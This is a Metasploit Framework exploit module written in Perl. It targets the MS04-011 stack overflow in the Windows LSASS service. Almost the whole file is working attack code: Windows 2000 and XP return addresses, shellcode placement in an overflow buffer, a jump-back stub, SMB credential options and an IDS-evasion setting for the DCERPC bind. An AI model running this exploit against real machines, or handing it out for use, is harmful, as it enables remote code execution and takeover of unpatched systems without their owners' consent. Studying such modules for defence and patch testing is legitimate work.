home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::lsass_ms04_011;
- use base "Msf::Exploit";
- use strict;
-
- use Pex::DCERPC;
- use Pex::NDR;
-
- my $advanced = {
- 'FragSize' => [ 256, 'The DCERPC fragment size' ],
- 'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
- 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
- };
-
- my $info = {
- 'Name' => 'Microsoft LSASS MSO4-011 Overflow',
- 'Version' => '$Revision: 3715 $',
- 'Authors' => [
- 'H D Moore <hdm [at] metasploit.com>',
- 'Brian Caswell <bmc [at] shmoo.com>'
- ],
-
- 'Arch' => ['x86'],
- 'OS' => [ 'win32', 'win2000', 'winxp' ],
- 'Priv' => 1,
-
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
- 'UserOpts' => {
- 'RHOST' => [ 1, 'ADDR', 'The target address' ],
-
- # SMB connection options
- 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
- 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
- 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
- },
-
- 'Payload' => {
- 'Space' => 1024,
- 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
- 'Keys' => ['+ws2ord'],
-
- # sub esp, 4097 + inc esp makes stack happy
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- },
-
- 'Description' => Pex::Text::Freeform(
- qq{
- This module exploits a stack overflow in the LSASS service, this vulnerability
- was originally found by eEye. When re-exploiting a Windows XP system, you will need
- need to run this module twice. DCERPC request fragmentation can be performed by setting
- 'FragSize' parameter.
- }
- ),
-
- 'Refs' => [ [ 'OSVDB', '5248' ], [ 'MSB', 'MS04-011' ], [ 'MIL', '36' ], ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [
- [ 'Automatic', 0x00000000 ],
- [ 'Windows 2000', 0x773242e0 ],
- [ 'Windows XP', 0x7449bf1a ],
- ],
-
- 'Keys' => ['lsass'],
-
- 'DisclosureDate' => 'Apr 13 2004',
- };
-
- sub new {
- my ($class) = @_;
- my $self =
- $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
- return ($self);
- }
-
- sub Exploit {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target_name = '*SMBSERVER';
-
- my $FragSize = $self->GetVar('FragSize') || 256;
- my $target = $self->Targets->[$target_idx];
-
- my ( $res, $rpc );
-
- if ( !$self->InitNops(128) ) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $pipe = '\lsarpc';
- my $uuid = '3919286a-b10c-11d0-9ba8-00c04fd92ef5';
- my $version = '0.0';
-
- my $handle =
- Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
- $pipe );
-
- my $dce = Pex::DCERPC->new(
- 'handle' => $handle,
- 'username' => $self->GetVar('SMBUSER'),
- 'password' => $self->GetVar('SMBPASS'),
- 'domain' => $self->GetVar('SMBDOM'),
- 'fragsize' => $self->GetVar('FragSize'),
- 'bindevasion' => $self->GetVar('BindEvasion'),
- 'directsmb' => $self->GetVar('DirectSMB'),
- );
-
- if ( !$dce ) {
- $self->PrintLine("[*] Could not bind to $handle");
- return;
- }
-
- # XXX - UGLY
- my $smb = $dce->{'_handles'}{$handle}{'connection'};
- if ( $target->[0] =~ /Auto/ ) {
- if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
- $target = $self->Targets->[1];
- $self->PrintLine('[*] Windows 2000 target');
- }
- elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
- $target = $self->Targets->[2];
- $self->PrintLine('[*] XP target');
- }
- else {
- $self->PrintLine(
- '[*] No target available : ' . $smb->PeerNativeOS() );
- return;
- }
- }
-
- my $pattern;
- if ( $target->[0] =~ /2000/ ) {
-
- # Windows 2000 requires that the string be unicode formatted
- # and give us a nice set of registers which point back to
- # the un-unicoded data. We simply return to a nop sled that
- # jumps over the return address, some trash, and into the
- # final payload. Easy as pie.
- $pattern = Pex::Text::EnglishText(3500);
- substr( $pattern, 2020, 4, pack( 'V', $target->[1] ) );
- substr( $pattern, 2104, length($shellcode), $shellcode );
- $pattern = Pex::NDR::UnicodeConformantVaryingString($pattern);
- }
- elsif ( $target->[0] =~ /XP/ ) {
-
- # Windows XP is a bit different, we need to use an ascii
- # buffer and a jmp esp. The esp register points to an
- # eight byte segment at the end of our buffer in memory,
- # we make these bytes jump back to the beginning of the
- # buffer, giving us about 1936 bytes of space for a
- # payload.
- $pattern = Pex::Text::EnglishText(7000);
- substr( $pattern, 0, length($shellcode), $shellcode );
- substr( $pattern, 1964, 4, pack( 'V', $target->[1] ) );
- substr( $pattern, 1980, 5, "\xe9\x3f\xf8\xff\xff" )
- ; # jmp back to 1980 (disco fever)
- $pattern = Pex::NDR::UnicodeConformantVaryingStringPreBuilt($pattern);
- $self->PrintLine('[*] Windows XP may require two attempts');
- }
- else {
- $self->PrintLine( '[*] invalid target : ' . $target->[0] );
- return;
- }
-
- my $stub = $pattern
- . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::NDR::Long( int( rand(0xFFFFFF) ) )
- . Pex::NDR::UnicodeConformantVaryingString('')
- . Pex::Text::RandomData(528)
- . Pex::Text::RandomData(528)
- . Pex::NDR::Long( int( rand(0xFFFFFF) ) );
-
- $self->PrintLine("[*] Sending request...");
- my @response = $dce->request( $handle, 9, $stub );
- if (@response) {
- $self->PrintLine('[*] RPC server responded with:');
- foreach my $line (@response) {
- $self->PrintLine( '[*] ' . $line );
- }
- $self->PrintLine('[*] This probably means that the system is patched');
- }
- return;
- }
-
- 'chuuuuuu chuuu!';
-